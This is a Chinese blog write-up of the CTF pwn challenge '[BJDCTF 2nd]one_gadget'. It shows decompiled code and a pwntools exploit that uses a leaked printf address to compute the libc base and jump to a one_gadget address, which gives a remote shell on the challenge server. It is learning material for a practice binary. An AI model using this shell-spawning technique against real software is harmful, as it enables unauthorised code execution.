CTF-Pwn-[BJDCTF 2nd]one_gadget
博客说明
文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
CTP平台
网址
题目
Pwn类,[BJDCTF 2nd]one_gadget
下载题目的文件
one_gadget
思路
使用file命令查看,发现是64位的文件,使用ida64位打开,如果是在mac15下打不开在终端输入
sudo xattr -rd com.apple.quarantine /Users/tanglei/Desktop/CTF/IDA\ Pro\ 7.0/ida64.app
后面是ida64.app的位置
使用ida64打开
进入主函数,使用F5反编译后得到伪代码,结果f5按不出来,还是用mac的
int __cdecl main(int argc, const char **argv, const char **envp)
{
void (*v4)(void); // [rsp+8h] [rbp-18h]
void (*v5)(void); // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
init(*(_QWORD *)&argc, argv, envp);
printf("Give me your one gadget:");
__isoc99_scanf("%ld", &v4);
v5 = v4;
v4();
return 0;
}
看一看这个main方法,要我们输入一个gadget,然后它回打印出来,再来看看init方法
int init()
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
return printf("here is the gift for u:%p\n", &printf);
}
好像这个地址就直接给了,计算一下libc的基址,使用one_gadget,没有的话需要安装
ubuntu下安装
sudo apt -y install ruby
sudo gem install one_gadget
输入命令,可以看到四个地址
one_gadget libc-2.29.so
写一个脚本
开始写exp
from pwn import *
r=remote("node3.buuoj.cn",27772)
elf=ELF("./one_gadget")
libc=ELF('libc-2.29.so')
one_gadget1=[0xe237f,0xe2383,0xe2386,0x106ef8]
addr=int(r.recvline()[23:-1],16)
libc_base=addr-libc.sym['printf']
one_gadget=libc_base+one_gadget1[3]
r.recvuntil("Give me your one gadget:")
r.sendline(str(one_gadget))
r.interactive()
测试
cd然后我们测试运行
python3 one_gadget.py
flag就找到了
感谢
BUUCTF
以及勤劳的自己
来源:oschina
链接:https://my.oschina.net/guizimo/blog/4268219